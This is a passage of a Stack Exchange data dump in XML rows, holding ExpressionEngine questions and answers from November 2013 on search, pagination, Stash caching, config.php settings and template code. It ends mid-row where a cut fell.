  <row Id="16763" PostTypeId="1" CreationDate="2013-11-14T17:19:53.673" Score="0" ViewCount="175" Body="&lt;p&gt;I have a site setup with a search box.  The search looks in a channel field made with Grid.  For some reason the results are not being displayed from the Grid, even though all other channels work as planned.  Is this a bug in 2.7.2?&lt;/p&gt;&#xA;" OwnerUserId="2276" LastActivityDate="2016-10-13T03:58:01.467" Title="Why is Simple Search not getting results from the Grid field in 2.7.2?" Tags="|grid|simple-search|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16764" PostTypeId="2" ParentId="16758" CreationDate="2013-11-14T17:41:37.517" Score="3" Body="&lt;p&gt;I believe to do so, you would need to create a Custom Style Set for Wygwam. See the &lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/using/style_set.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wygwam Docs&lt;/a&gt; over a Pixel &amp;amp; Tonic. Though, I recommend creating a class instead of an id. Since someone will most likely add more than one media embed sometime in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9032/stopping-wygwam-from-assigning-dimensions-to-images&quot;&gt;this StackExchange post&lt;/a&gt; deals with editing the Wygwam .js for custom sets.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-11-14T17:41:37.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16765" PostTypeId="1" AcceptedAnswerId="22039" CreationDate="2013-11-14T17:44:42.950" Score="2" ViewCount="77" Body="&lt;p&gt;On our site we've been using simplepagination (&lt;a href=&quot;http://www.vayadesign.net/software/simple-pagination/release-notes&quot; rel=&quot;nofollow&quot;&gt;http://www.vayadesign.net/software/simple-pagination/release-notes&lt;/a&gt;) which lets us specify a page break by merely inserting {pagebreak} into the body of a post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this plug-in seems to have stopped working in the EE 2.7.x and the developer is no longer working on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone found an alertnative?&lt;/p&gt;&#xA;" OwnerUserId="2268" LastActivityDate="2014-05-18T01:19:31.347" Title="Anyone know of a replacement for simplepagination?" Tags="|pagination|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16766" PostTypeId="1" CreationDate="2013-11-14T17:51:41.197" Score="2" ViewCount="79" Body="&lt;p&gt;I need to know how to create an A to Z search using the native ExpressionEngine search, not an add on. Is it possible to do this and display results alphabetically by letter? Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="2366" LastActivityDate="2013-11-14T18:37:15.963" Title="Using native EE search to create A to Z search" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16768" PostTypeId="2" ParentId="16766" CreationDate="2013-11-14T18:37:15.963" Score="3" Body="&lt;p&gt;The native EE Search module does &lt;em&gt;not&lt;/em&gt; have the ability to search either the Title or any custom field based only on the first letter contained therein, no. It also contains no hooks to allow you to manipulate the search query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just buy &lt;a href=&quot;http://gotolow.com/addons/low-alphabet&quot; rel=&quot;nofollow&quot;&gt;Low Alphabet&lt;/a&gt; and be done with it!&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-11-14T18:37:15.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16769" PostTypeId="1" AcceptedAnswerId="16776" CreationDate="2013-11-14T19:13:16.830" Score="2" ViewCount="391" Body="&lt;p&gt;I am using fragment caching in most places with Stash to cache the data from ExpressionEngine on my current project, but there are a few instances where pages are totally static, such as the about page. There is nothing dynamic at all going on with it, and therefore nothing that needs to be escaped from caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems I could just as easily use either {exp:stash:static} as {exp:stash:cache}. I set up the template with {exp:stash:cache} and I now see it sitting the db as a fully cached flat file. If I were to use {exp:stash:static}, then it would do the same thing but write it as a file to the specified directory instead of the database, I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, for instances like this when there is no content that needs to be escaped from the cache, is one method significantly more performant than the other? I'd assume using the static cache is more performant as then there is no call to the database, but I'd appreciate some views on this before choosing it as my preferred method. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1966" LastActivityDate="2013-11-14T23:16:12.063" Title="What is the benefit of using {exp:stash:static} over {exp:stash:cache}?" Tags="|stash|cache|caching|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16770" PostTypeId="2" ParentId="16644" CreationDate="2013-11-14T19:33:05.077" Score="2" Body="&lt;p&gt;When uploading a file too big for the Avatar restrictions, the error page displayed should already display a message such as &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;The form you submitted contained the following errors&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The maximum allowed size for images is 50 kilobytes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you're looking to fetch and display the maximum dimensions for avatars dynamically and &lt;em&gt;before&lt;/em&gt; someone attempts to upload a too large avatar file, you'll need to dig this information up from EE's exp_sites table. The data is serialized and base64 encoded, so you'll need PHP to retrieve the data.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-11-14T19:33:05.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16771" PostTypeId="2" ParentId="16755" CreationDate="2013-11-14T20:40:47.080" Score="2" Body="&lt;p&gt;Set the value of &lt;code&gt;$config['site_url']&lt;/code&gt;on the file &lt;code&gt;system/expressionengine/config/config.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you gonna maybe have to set another variables, too:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;$config['cp_url']&lt;/li&gt;&#xA;&lt;li&gt;$config['tmpl_file_basepath']&lt;/li&gt;&#xA;&lt;li&gt;$config['avatar_path']&lt;/li&gt;&#xA;&lt;li&gt;$config['avatar_url']&lt;/li&gt;&#xA;&lt;li&gt;$config['captcha_path']&lt;/li&gt;&#xA;&lt;li&gt;$config['captcha_url']&lt;/li&gt;&#xA;&lt;li&gt;$config['theme_folder_path']&lt;/li&gt;&#xA;&lt;li&gt;$config['theme_folder_url']&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And don't forget about the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/content/files/file_upload_preferences.html#overriding-upload-paths-and-urls-using-configuration-variables&quot; rel=&quot;nofollow&quot;&gt;file upload preferences&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take some time to study about &lt;code&gt;config.php&lt;/code&gt;. It will save your life sometimes.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-11-14T20:40:47.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16772" PostTypeId="1" AcceptedAnswerId="16879" CreationDate="2013-11-14T21:08:15.363" Score="1" ViewCount="327" Body="&lt;p&gt;I've a working Super Search form, need to filter a category search result page&#xA;{site_url}/event/results/search&amp;amp;category=sport/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where sport is a parent category.&#xA;working form is...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{!----------- SUPER SEARCH FORM -------------------------------------------}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;{path='event/results'}&quot; accept-charset=&quot;UTF-8&quot; class=&quot;search-box&quot; data-abide&amp;gt;&#xA;{exp:super_search:search channel=&quot;main_event&quot; status=&quot;open|featured&quot;}&#xA;{if super_search_category}&amp;lt;input type=&quot;hidden&quot; name=&quot;category&quot; value=&quot;{super_search_category}&quot; /&amp;gt;{/if}&#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;large-6 columns&quot;&amp;gt;&#xA;&amp;lt;label for=&quot;sort&quot;&amp;gt;Location:&amp;lt;/label&amp;gt;&#xA;&amp;lt;small class=&quot;error&quot;&amp;gt;Please Choose Event&amp;lt;/small&amp;gt;&#xA;&amp;lt;select name=&quot;category[]&quot; id=&quot;event&quot; data-placeholder=&quot;All Events&quot; style=&quot;width:100%&quot; required&amp;gt;&#xA;&amp;lt;option&amp;gt;&amp;lt;/option&amp;gt;&#xA;{exp:channel:categories category_group=&quot;1&quot; show_empty=&quot;no&quot; parent_only=&quot;yes&quot; style=&quot;linear&quot;}&#xA;&amp;lt;option value=&quot;{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;{/exp:channel:categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:super_search:search}&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;{!----------- /SUPER SEARCH FORM -------------------------------------------}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parent category &lt;strong&gt;sport&lt;/strong&gt; have some child categories, i need to dynamically filter the results page via a select drop-down the child categories of the searched parent category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode&lt;/a&gt; Categories plugin, was able to come up with this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category&quot; onchange=&quot;if(this.options[this.selectedIndex].value != ''){window.top.location.href=this.options[this.selectedIndex].value}&quot; id=&quot;multi&quot; data-placeholder=&quot;Select&quot; style=&quot;width:100%&quot; /&amp;gt;&#xA;&amp;lt;option&amp;gt;&amp;lt;/option&amp;gt;&#xA;{exp:gwcode_categories channel=&quot;main_event&quot; group_id=&quot;1&quot; excl_group_id=&quot;3|4&quot; show_empty=&quot;no&quot; cat_id=&quot;{segment_3_category_id}&quot; depth=&quot;2&quot; style=&quot;linear&quot;}&#xA;&amp;lt;option value=&quot;{site_url}event/results/search&amp;amp;category={super_search_category}&amp;amp;&amp;amp;{cat_url_title}&quot; {if super_search_category_{cat_url_title}}selected=&quot;selected&quot;{/if}&amp;gt;{cat_name}&amp;lt;/option&amp;gt;&#xA;{/exp:gwcode_categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think i'm very close but the &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode&lt;/a&gt; tags code isn't perfect and stable because after a first successful filtering..&#xA;{site_url}event/results/search&amp;amp;category=sport&amp;amp;&amp;amp;soccer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;trying to filter again, i got this&#xA;{site_url}event/results/search&amp;amp;category=sport&amp;amp;&amp;amp;soccer&amp;amp;&amp;amp;tennis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{site_url}event/results/search&amp;amp;category=sport&amp;amp;&amp;amp;tennis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="48" LastEditDate="2013-11-19T19:01:37.007" LastActivityDate="2013-11-27T01:31:43.063" Title="Filtering Child Categories in Solspace Super Search" Tags="|solspace|search|filter|supersearch|gwcode-categories|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16773" PostTypeId="2" ParentId="16760" CreationDate="2013-11-14T21:27:34.077" Score="1" Body="&lt;p&gt;First, I would recommend using the excellent &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;IfElse plugin&lt;/a&gt; to reduce load with advanced conditionals. To do this wrap your entire conditional in these tags:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}    &#xA;  code goes here&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now onwards, please post the errors you are seeing as that will help us help you. Second, I would start off by simplifying your entire conditional to a single conditional and checking if that works. If it does then add the next part and repeat until you have found the error or have the entire thing working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also try putting supersearch variables inside quotes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}    &#xA;    {if '{super_search_keywords}' !=&quot;&quot;}&#xA;&#xA;        &amp;lt;h1&amp;gt;{super_search_keywords} Jobs&amp;lt;/h1&amp;gt;&#xA;&#xA;     {/if}&#xA;&#xA;    {if '{super_search_category_name}' !=&quot;&quot;}&#xA;&#xA;        {if '{super_search_job_location}' !=&quot;&quot;}&#xA;            &amp;lt;h1&amp;gt;{super_search_category_name} Jobs In {super_search_job_location}&amp;lt;/h1&amp;gt;&#xA;        {/if}&#xA;&#xA;        &amp;lt;h1&amp;gt;{super_search_category_name} Jobs&amp;lt;/h1&amp;gt;&#xA;&#xA;    {if:else}&#xA;&#xA;        &amp;lt;h1&amp;gt;Jobs In {super_search_job_location}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-14T21:27:34.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16774" PostTypeId="1" CreationDate="2013-11-14T21:35:32.973" Score="3" ViewCount="125" Body="&lt;p&gt;On the backend administration area, I am unable to go to any of the pages of articles via the page number links naturally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Page links go to:  &lt;code&gt;http://mydomain.com/C=content_edit&amp;amp;tbl_offset=50&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But should be going to this:  &lt;code&gt;http://mydomain.com/manager.php?D=cp&amp;amp;channel_id=1&amp;amp;C=content_edit&amp;amp;tbl_offset=50&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be fixed?  Is there a file that needs an edit to it someplace?  For some reason it is not picking up the beginning of the URL after the &lt;code&gt;mydomain.com&lt;/code&gt; part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a topic that is somewhat similar to mine ( &lt;a href=&quot;http://ellislab.com/forums/viewthread/217792/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/217792/&lt;/a&gt; ), but the fix was specific for Member Sorting, this is not the case in my situation.&lt;/p&gt;&#xA;" OwnerUserId="2367" LastActivityDate="2013-11-15T16:51:27.580" Title="Problems with pagination" Tags="|url|pagination|links|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16775" PostTypeId="2" ParentId="16769" CreationDate="2013-11-14T22:18:37.900" Score="1" Body="&lt;p&gt;That's my understanding too. But rather than me trying to explain why, I think you'd be best contacting Nexcess to ask them to send you a copy of their &lt;em&gt;ExpressionEngine – Caching, and Best Practices for Performance&lt;/em&gt; PDF they released after their presentation at the recent EECI Conference as it goes into great detail about the different caching methods available to ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't discuss Stash directly but it does talk about db v static caching in relation to CE Cache by Causing Effect (as well as other methods) and the differences/similarities would be pretty much the same I'd imagine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They tweeted about it shortly after the conference with a link to download the file, but it didn't work for me so they asked me to email them and then emailed it back. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's definitely worth the effort to get hold of.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-11-14T22:18:37.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16776" PostTypeId="2" ParentId="16769" CreationDate="2013-11-14T23:16:12.063" Score="4" Body="&lt;p&gt;&lt;code&gt;{exp:stash:static}&lt;/code&gt; caches the entire page to a static file. The cached output is not stored in the database. And you can't cache just a region / section of the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it works for you to use &lt;code&gt;{exp:stash:static}&lt;/code&gt;, it should return pages noticeably faster than &lt;code&gt;{exp:stash:cache}&lt;/code&gt;, and also (since the page requests route directly to the static file, without touching EE) put less load on your server memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:stash:cache}&lt;/code&gt; caches either the entire page, or a region / section of the page. And the cache is stored in the database. Requests to &lt;code&gt;{exp:stash:cache}&lt;/code&gt; do route through EE, but all of the processing that normally would occur (i.e., whatever you have inside the &lt;code&gt;{exp:stash:cache}&lt;/code&gt; tag pair) is replaced by a shortcut / fast call to the database to get the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, if you're familiar with CE Cache, &lt;code&gt;{exp:stash:static}&lt;/code&gt; is like CE Cache's static page caching--the &lt;code&gt;{exp:ce_cache:stat:ic}&lt;/code&gt; tag, and &lt;code&gt;{exp:stash:cache}&lt;/code&gt; is like CE Cache's database-backed caching--the &lt;code&gt;{exp:ce_cache:it drivers=&quot;db&quot;}{exp:ce_cache:it}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(caveat: I'm still getting the hang of using Stash, so this is more from studying the documentation and a small number of experiments, than from production experience. I do have a lot of production experience with CE Cache and Solspace's Static Page Caching, however.)&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-11-14T23:16:12.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16777" PostTypeId="2" ParentId="16755" CreationDate="2013-11-14T23:25:24.113" Score="2" Body="&lt;p&gt;In your config.php, you can set the site URL like this, and it should work on both your localhost and live server without needing to be updated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['site_url'] = 'http://' . $_SERVER['HTTP_HOST'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, you can put the literal URL in there, and edit it once you move the file from server to server.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-11-14T23:25:24.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16778" PostTypeId="2" ParentId="16755" CreationDate="2013-11-15T01:21:02.427" Score="3" Body="&lt;p&gt;To get all your paths/urls changed is a bit of a PITA since they are located in so many different sections of the CP. The easiest way to do this is with an addon. The two most popular are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/deeploy-helper&quot; rel=&quot;nofollow&quot;&gt;Deeploy Helper&lt;/a&gt; $22 (I prefer this one - use it on almost every build)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/reelocate&quot; rel=&quot;nofollow&quot;&gt;REElocate (free)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-15T01:21:02.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16779" PostTypeId="2" ParentId="16774" CreationDate="2013-11-15T02:18:50.697" Score="1" Body="&lt;p&gt;It definitely sounds like your control panel URL configuration isn't correct. This needs to be set to match the URL you use to access the control panel, so it can generate the links correctly.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-15T02:18:50.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16780" PostTypeId="2" ParentId="16755" CreationDate="2013-11-15T02:24:11.630" Score="1" Body="&lt;p&gt;Another option is to use Focus Lab's &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;Master Config&lt;/a&gt;. It connects into your config.php file and creates the concept of multiple server environments with their own individual configuration options. It also sets a lot of the path and URL config variables dynamically, making moving between servers painless.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-15T02:24:11.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16781" PostTypeId="2" ParentId="16686" CreationDate="2013-11-15T05:46:11.483" Score="4" Body="&lt;p&gt;it is not possible to do this with standard EE function. So you need make a new add-on - module with action which you can run by cron. Every time when cron will be run, you can get unread PM for last 24 using next query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT md.message_id as message_id, md.message_date as message_date, md.message_subject as subject,  md.message_body as message, mc.recipient_id as recipient_id, m.email as email, m.screen_name as name  &#xA;FROM exp_message_data as md &#xA;LEFT JOIN exp_message_copies as mc ON md.message_id = mc.message_id &#xA;LEFT JOIN exp_members AS m ON m.member_id = mc.recipient_id &#xA;WHERE mc.message_read = 'n' AND md.message_date &amp;gt; UNIX_TIMESTAMP(NOW() - INTERVAL 24 HOUR)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This query give us enough info to send message. After that send email by ee email function or send it to Mandrill/Postmark/SendGrid/PostageApp(you can also just use plugins like &lt;a href=&quot;http://devot-ee.com/add-ons/escort&quot; rel=&quot;nofollow&quot;&gt;Escort&lt;/a&gt; to route emails to third-party transactional email services).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Approximate time of developing - 2-3h.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. you also need to disable option (&quot;Notify me via email when someone sends me a private message&quot;) in &lt;em&gt;Member Profile Templates &gt; Email Preferences Form&lt;/em&gt; or replace it with select &lt;em&gt;Send email immediately / Once per 24h&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-15T05:46:11.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16782" PostTypeId="1" CreationDate="2013-11-15T07:16:07.203" Score="1" ViewCount="71" Body="&lt;p&gt;Hello!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an index page template with 3 columns. Each column has pagination buttons in the bottom. You can see the screenshot below (I've highlighted the buttons by red rectangle).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N7Kr2.png&quot; alt=&quot;An index page template with 3 columns&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then I go to the next page by clicking pagination button I get the broken markup. See the screenshot below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UhukB.png&quot; alt=&quot;The broken markup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;global/header&quot; page_title=&quot;рейтинг пива, статьи и полезная информация о пиве&quot;}&#xA;  &amp;lt;div id=&quot;left_col&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;last_news&quot; class=&quot;grid_10_index&quot;&amp;gt;  &#xA;    {exp:channel:entries channel=&quot;news&quot; limit=&quot;6&quot; dynamic=&quot;no&quot; paginate=&quot;bottom&quot;}&#xA;        &amp;lt;div class=&quot;last_news_item&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;last_news_item_title_wrapper&quot;&amp;gt;&amp;lt;div class=&quot;last_news_item_title&quot;&amp;gt;&amp;lt;a href=&quot;{url_title_path='news'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;        &#xA;            &amp;lt;div class=&quot;last_news_item_body&quot;&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;last_news_item_date&quot;&amp;gt;{if news_date!=&quot;&quot;}{news_date format=&quot;%j %M %Y г.&quot;}{if:else}{entry_date format=&quot;%j %M %Y&quot;}{/if}&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;last_news_item_author&quot;&amp;gt;автор: {if news_author!=&quot;&quot;}{news_author}{if:else}{author}{/if}&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;last_news_item_content&quot;&amp;gt;&#xA;                    {if news_announce!=&quot;&quot;}&#xA;                        {news_announce}&#xA;                    {if:else}&#xA;                        {exp:trunchtml chars=&quot;300&quot; ending=&quot;&amp;lt;a href=&quot;{url_title_path='news'}&quot;&amp;gt;...&amp;lt;/a&amp;gt;&quot;}&#xA;                            {news_body}&#xA;                        {/exp:trunchtml}&#xA;                    {/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_news_item_comments&quot;&amp;gt;{if comment_total}&amp;lt;a href=&quot;{url_title_path='news'}#news_item_comments&quot;&amp;gt;Комментариев: {comment_total}&amp;lt;/a&amp;gt;{/if}&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;{paginate}&#xA;    {pagination_links}&#xA;        &amp;lt;ul id=&quot;pages&quot;&amp;gt;&#xA;    {page}&#xA;        {if current_page}&#xA;            &amp;lt;li class=&quot;pages_item active&quot;&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {if:else}&#xA;            &amp;lt;li class=&quot;pages_item&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;            &#xA;        {/if}&#xA;&#xA;    {/page}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/pagination_links}&#xA;{/paginate}&#xA;    {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;&#xA;&amp;lt;!-- &amp;lt;div id=&quot;last_actions_wrapper&quot; class=&quot;grid_9&quot;&amp;gt;&#xA;&amp;lt;/div&amp;gt; --&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;center_col&quot; class=&quot;grid_10_index&quot;&amp;gt;&#xA;    {!-- &amp;lt;div id=&quot;last_events&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;span&amp;gt;Последние события на сайте&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt; --}&#xA;    &amp;lt;div id=&quot;last_comments_wrapper&quot; class=&quot;round_5&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;last_comments&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;last_comments_title&quot;&amp;gt;&#xA;                Последние комментарии&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;last_comments_item odd&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_author&quot;&amp;gt;VIPERRR666&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_date&quot;&amp;gt;22.04.2013&amp;lt;/div&amp;gt; &#xA;                &amp;lt;div class=&quot;last_comments_item_content&quot;&amp;gt;&#xA;                    Не плохое пиво, но пока оно холодное, пил я его прошлым летом - как теплеть начинает, так всё... помойка.... уже не помню, но там чё то с градусами был косяк - в одном месте на бутылке...&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_topic&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Amber Weiss Wheat Beer&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;last_comments_item even&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_author&quot;&amp;gt;Сергей&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_date&quot;&amp;gt;19.05.2013&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_content&quot;&amp;gt;&#xA;                    В Москве пока было обнаружено только в Ашане&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_topic&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Юзберг Weissbier&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;last_comments_item odd&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_author&quot;&amp;gt;Алексей&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_date&quot;&amp;gt;20.05.2013&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_content&quot;&amp;gt;&#xA;                    В центре - практически в каждой палатке продаётся....&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_topic&quot;&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Юзберг Weissbier&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;last_comments_item even&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_author&quot;&amp;gt;Гость&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_date&quot;&amp;gt;25.04.2013&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;last_comments_item_content&quot;&amp;gt;&#xA;                    Вот интересно, как сравнивая Венское Хамовники и Венское Цвай Мастер можно умудриться оценить второе выше? Хамовники - очень вкусное пиво, с небольшой горчинкой и мощным солодовым вкусом, а Цвай Мастер... не о чем...&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div 